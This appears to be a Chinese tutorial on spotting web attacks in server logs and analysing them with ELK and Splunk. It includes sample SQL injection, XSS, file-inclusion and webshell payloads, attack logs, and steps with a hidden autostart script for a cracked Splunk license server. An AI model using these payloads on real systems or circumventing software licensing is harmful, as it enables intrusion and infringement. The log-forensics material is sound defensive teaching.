Tools And Logs
攻击容易出现的位置
GET、POST请求报文的url字段
GET、POST请求报文的cookie字段
GET、POST请求报文的reffer字段
GET、POST请求报文的user-agent字段
POST请求报文的表单字段
常见攻击语句 SQL注入
探测语句
http://xxx/news.php?id=23%20and%201=1
http://xxx/news.php?id=23%20and%201=2
http://xxx/news.php?id=23
查询语句
and exists(select * from admin)
and+(select+top+1+asc(mid(username,2,1))+from+Admin)>100
union select 1,2,table_name from information_schema.tables where table_schema=database()#
union select user,2,password from users#
XSS
<script>alert(/xss/);</script>
<a href=javascript:alert('test')>adfasdfasdf</a>
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
<img src="x" onerror="alert(/xss/)"/>
命令执行
GET /xx/xx/index.php?do=phpinfo
GET /x.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/ptcmd.cgi?cmd=;cat+/tmp/user.ini
文件包含
GET /xx/xx.php?file=../../etc/passwd
GET /xx/xx.php?file=http://xx/1.php
php://filter/read=convert.base64-encode/resource=index.php
webshell
<?php @eval($_POST['v']);?>
<%eval request("v")%>
<%execute(request("admin"))%>
常见日志 IIS
%SystemDrive%\inetpub\logs\LogFiles\
%SystemRoot%\system32\LogFiles\W3SVC1
%SystemDrive%\inetpub\LogFiles\W3SVC1
%SystemDrive%\Windows\System32\LogFiles\HTTPERR
%systemroot%\system32\logfiles\MSFTPSVC1\
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 2017-08-18 13:37:42 W3SVC1026760001 127.0.0.1 GET /sql1.php - 8009 - 127.0.0.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 500 0 0 2017-08-18 13:38:18 W3SVC1026760001 192.168.0.200 GET / - 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:38:19 W3SVC1026760001 192.168.0.200 GET /sql1.php - 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:38:23 W3SVC1026760001 192.168.0.200 GET /sql1.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:38:38 W3SVC1026760001 192.168.0.200 GET /sql1.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:38:41 W3SVC1026760001 192.168.0.200 GET /sql1.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:38:43 W3SVC1026760001 192.168.0.200 GET /sql1.php id =1%20and%201=1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:39:01 W3SVC1026760001 192.168.0.200 GET /sql1.php id =1%20and%201=1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:39:32 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:40:36 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:40:36 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:40:37 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:41:59 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 500 0 0 2017-08-18 13:42:21 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:42:25 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=1 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:42:29 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:13 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:13 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:13 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:14 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:14 W3SVC1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0 2017-08-18 13:43:14 W3SV1026760001 192.168.0.200 GET /sql2.php id =1%20and%201=2 8009 - 192.168.0.111 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2623.221+Safari/537.36+SE+2.X+MetaSr+1.0 200 0 0
Apache
/var/log/httpd/access.log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd-access.log
windows:<Apache安装目录>\logs\access.log | error.log
1 2 3 4 5 6 7 8 9 10 11 10.11.35.94 - - [30/Sep/2019:08:53:33 +0800] "GET /index.php?action=view&mod=chgavatar HTTP/1.1" 302 357 "http://10.20.124.219/index.php?action=view&mod=percenter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 1. 10.11.35.94 - 访问者的IP地址。这是发起请求的客户端的IP地址。 2. - - 用户标识符(通常未使用,表示为-)。 3. - - 用户认证标识符(通常未使用,表示为-)。 4. [30/Sep/2019:08:53:33 +0800] - 请求的时间戳,表示请求的日期和时间。格式为[day/month/year:hour:minute:second timezone]。 5. "GET /index.php?action=view&mod=chgavatar HTTP/1.1" - 实际的HTTP请求行,包括请求方法(GET)、请求的URL路径(/index.php?action=view&mod=chgavatar)、和HTTP协议版本(HTTP/1.1)。 6. 302 - HTTP状态码,表示服务器对请求的响应状态。302表示重定向。 7. 357 - 响应的字节数,表示服务器返回内容的大小。 8. "http://10.20.124.219/index.php?action=view&mod=percenter" - 引用页面(Referer),表示发起请求的来源页面。 9. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" - 用户代理字符串,表示发起请求的客户端软件的信息(比如操作系统和浏览器版本)。
Nginx
/usr/local/nginx/logs
access.log
代表访问日志
error.log
代表错误日志
/var/log/nginx/error.log
/var/log/nginx/access.log
同Apache
,通常情况下Nginx可自定义为以下格式
nginx.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 log_format json escape=json '{"@timestamp":"$time_iso8601",' '"domain":"$host",' '"host":"$server_addr",' '"clientip":"$remote_addr",' '"remote_user":"$remote_user",' '"request":"$request",' '"request_method":"$request_method",' '"uri":"$uri",' '"request_time":"$request_time",' '"status":"$status",' '"http_referrer":"$http_referer",' '"body_bytes_sent":"$body_bytes_sent",' '"xff":"$http_x_forwarded_for",' '"http_user_agent":"$http_user_agent",' '"upstream_addr":"$upstream_addr",' '"upstream_response_time":"$upstream_response_time"}' ; access_log /var/log/nginx/access.log json;
Tomcat
默认在Tomcat_HOME/logs/
/usr/local/tomcat/logs/
1 2 3 4 5 6 7 8 9 10 11 12 13 <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="localhost_access_log." suffix=".txt" pattern="%h %l %u %t " %r" %s %b" /> 192.168.1.1 - john [31/Oct/2023:14:20:15 +0800] "GET /index.php?id=1' and 1=2 union select 1,2,3 from infomation_schmea.tables where table_schmea=database()' HTTP/1.1" 200 1234
Vsftp
统一存放在/var/log/message
可通过编辑/etc/vsftp/vsftp.conf
配置文件修改日志位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 (000131) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> USER admin (000131) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> 331 Password required for admin (000133) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> USER admin (000133) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> 331 Password required for admin (000135) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> USER admin (000135) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> 331 Password required for admin (000134) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> USER admin (000134) 2024/2/29 12:44:49 - (not logged in ) (192.168.126.135)> 331 Password required for admin (000132) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS ********** (000130) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS **** (000130) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000132) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000133) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS ****** (000131) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS **** (000133) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000135) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS ************** (000135) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000131) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000134) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> PASS ************* (000134) 2024/2/29 12:44:59 - (not logged in ) (192.168.126.135)> 530 Login or password incorrect! (000132) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> 421 Login time exceeded. Closing control connection. (000132) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> disconnected. (000133) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> 421 Login time exceeded. Closing control connection. (000133) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> disconnected. (000135) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> 421 Login time exceeded. Closing control connection. (000135) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> disconnected. (000130) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> 421 Login time exceeded. Closing control connection. (000130) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> disconnected. (000131) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> 421 Login time exceeded. Closing control connection. (000131) 2024/2/29 12:45:19 - (not logged in ) (192.168.126.135)> disconnected. (000141) 2024/2/29 13:01:39 - admin (192.168.126.135)> 229 Entering Extended Passive Mode (|||3637|) (000141) 2024/2/29 13:01:39 - admin (192.168.126.135)> STOR system.php (000141) 2024/2/29 13:01:39 - admin (192.168.126.135)> 150 Opening data channel for file upload to server of "/system.php" (000141) 2024/2/29 13:01:39 - admin (192.168.126.135)> 226 Successfully transferred "/system.php"
WebLogic
access.log
存放位置:/WLS_HOME/userprojects/domains/base_domain/servers/servername/logs
(默认位置)
主要记录http请求,默认情况下日志记录处于启用状态,服务器将http请求保存在单独的日志文件中,日志格式如下,主要记录了http请求请求ip地址、请求时间、访问页面、响应状态等信息
server.log
存放位置:/WLS_HOME/userprojects/domains/base_domain/servers/AdminServer/logs
域日志domain.log
存放位置:/WLS_HOME/userprojects/domains/base_domain/servers/AdminServer/logs
1 2 3 4 5 6 7 8 9 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "POST /ws_utc/resources/setting/keystore?timestamp=1721198675696 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=id 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=id 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /favicon.ico 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=whoami 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=ls%20/opt 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=ls 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=cd%20config&&ls 1.1" - - 192.168.111.1 - - [17/Jul/2024:16:15:06 ] "GET /ws_utc/css/config/keystore/1721199125414_1.jsp?pwd=023&i=cd%20config&ls 1.1" - -
JBOSS
安装目录的server/default/log
1 2 3 4 5 6 7 8 9 10 192.168.111.1 - - [18/Jul/2024:20:41:36 ] "POST /admin-console/login.seam;jsessionid=3A26F47E59C27D51BCFA04901440A2B8 1.1" - - 192.168.111.1 - - [18/Jul/2024:20:41:36 ] "POST /admin-console/login.seam;jsessionid=3A26F47E59C27D51BCFA04901440A2B8 1.1" - - 192.168.111.142 - - [18/Jul/2024:20:41:36 ] "-" 302 262 192.168.111.142 - - [18/Jul/2024:20:41:36 ] "-" 302 262 192.168.111.1 - - [18/Jul/2024:20:41:36 ] "POST /invoker/readonly 1.1" - - 192.168.111.142 - - [18/Jul/2024:20:41:36 ] "-" 500 1561 192.168.111.1 - - [18/Jul/2024:20:41:36 ] "POST /invoker/readonly 1.1" - - 192.168.111.142 - - [18/Jul/2024:20:41:36 ] "-" 500 1561 192.168.111.1 - - [18/Jul/2024:20:41:36 ] "POST /invoker/readonly 1.1" - - 192.168.111.142 - - [18/Jul/2024:20:41:36 ] "-" 500 1561
Oracle 在Oracle数据库中,可以使用以下SQL查询来查看日志文件路径:
1 2 SELECT * FROM v$logfile;
MySQL 要查看MySQL是否启用了日志记录以及日志文件的位置,可以使用以下命令:
检查是否启用日志 1 SHOW VARIABLES LIKE 'log_%' ;
这将列出所有与日志相关的变量及其状态,通常包括以下几项:
log_bin
log_error
log_output
log_queries_not_using_indexes
log_slave_updates
log_slow_admin_statements
log_slow_slave_statements
log_slow_rate_limit
log_timestamps
查看通用日志位置 1 2 3 4 SHOW VARIABLES LIKE 'general_log' ;SHOW VARIABLES LIKE 'general_log_file' ;
默认情况下,MySQL的日志文件可能位于:/var/log/mysql
.也可通过查看配置文件确定日志路径
1 2 3 4 5 6 7 8 9 10 11 12 13 2021-08-09T03:05:39.193260Z 162 [Note] Access denied for user 'root' @'192.168.23.206' (using password: YES)
MSSQL 使用SQL Server Management Studio (SSMS)
查看Microsoft SQL Server
的日志文件
打开SQL Server Management Studio (SSMS)
连接SQL Server
实例。
在对象资源管理器中,展开SQL Server
实例。
展开“管理”文件夹。
选择SQL Server Logs
以查看日志文件。
日志分析工具 日志分析是任何IT基础设施管理的关键组成部分。它可帮助了解系统运行情况、监控安全事件、遵守法规要求以及进行故障排除。以下是目前市场上两个非常流行的日志分析工具ELK(Elasticsearch, Logstash, Kibana)和Splunk的介绍、使用方法以及优劣势比较。
ELK Stack 介绍 ELK是三个开源项目的组合:Elasticsearch、Logstash和Kibana。Elasticsearch是一个搜索和分析引擎,Logstash用于服务器端数据处理管道,它同时收集数据并在传输到Elasticsearch之前进行处理,Kibana则是数据可视化的前端组件。
安装
优势
开源且免费(有收费的X-Pack扩展)。
高度可定制,可以根据需求安装插件。
社区支持强大。
良好的数据聚合能力。
劣势
设置和维护相对困难,需要一定的技术知识。
性能可能受到大数据量影响。
高级功能需要支付额外费用。
Splunk 介绍 Splunk是一种商业日志管理和分析工具,提供实时数据监控、搜索、分析等功能。相比于ELK,Splunk是一个封闭源代码的产品,但它提供了强大的功能和易用性。
安装
双击setup.msc
勾选许可协议并自定义选项
点击Next
选择第一个并下一步
Local System
只能通过127.0.0.1访问
Domain Account
可以通过域名或IP访问
设置用户名及密码,不要有特殊字符
点击Install
等待安装完成,时间会长一些
从浏览器访问127.0.0.1:8000
输入安装时的账户密码即可登录
登陆—>右上角设置–>授权
选择更改为对等节点
选择第二个
解压压缩包中的I_LOVE_DVT.rar
–>dvt-splunk_licsrv
–>windows
—>选择对应的架构解压出来.双击打开
复制连接到上方输入框中
点击保存并重启服务器
每次使用splunk之前都需要打开dvt-splunk_licsrv.1.0.386.exe
可以将下方内容保存为bat
文件将此bat文件以及dvt-splunk_licsrv.1.0.386.exe
都放在开机自启文件夹内,即可自动启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @echo off REM 如果传入参数为 "h" ,则跳转到 :begin 标签 if "%1" =="h" goto beginREM 使用 mshta 和 VBScript 隐藏命令行窗口并以后台模式运行脚本 start mshta vbscript:createobject("wscript.shell" ).run("" "%~nx0" " h" ,0)(window.close)&&exit :begin setlocal REM 检查 Splunkd 服务是否正在运行 sc query Splunkd | findstr /C:"STATE" | findstr /C:"RUNNING" >nul if %errorlevel% neq 0 ( REM 如果服务未运行,则启动它 echo Splunkd service is not running. Starting... net start Splunkd ) else ( REM 如果服务正在运行,则输出相应信息 echo Splunkd service is already running. ) REM 检查端口 1337 是否没有被监听 netstat -an | findstr /C:"LISTENING" | findstr /C:"1337" >nul if %errorlevel% neq 0 ( REM 如果端口未被监听,则启动 dvt-splunk_licsrv.1.0.386.exe echo Port 1337 is not being listened on. Starting dvt-splunk_licsrv.1.0.386.exe... start /b "" "dvt-splunk_licsrv.1.0.386.exe" ) else ( REM 如果端口已被监听,则输出相应信息 echo Port 1337 is already being listened on. ) endlocal
使用
ELK vs Splunk
成本 : ELK更适合预算有限或倾向于使用开源解决方案的组织,而Splunk则提供更全面的服务,但价格也相对较高。
易用性 : Splunk用户界面更直观,上手更快,适合初学者;而ELK可能需要更多的配置和调优。
功能性 : Splunk通常在功能性方面占优势,特别是在其提供的即时分析和即时反馈方面,而ELK则在数据处理和长期分析方面更灵活。
案例 服务器入侵取证 描述:服务器被黑了,黑客留下了key,你能找到吗
将近1000条数据,上传到splunk
中进行分析
我们可以看到他尝试文件读取my.cnf和passwd响应码为200很有可能读取成功了,我们去检查一下my.cnf当中有什么信息
找到key了
找到攻击者IP 实验:网站入侵,找到攻击者ip
45万条数据·····直接导入splunk
先看一下POST相关的数据,并且对uri进行去重
快速浏览,没什么东西使用语句sourcetype=kk method=GET | stats count by uri | sort + count
可以发现在暴力破解
查看该事件IP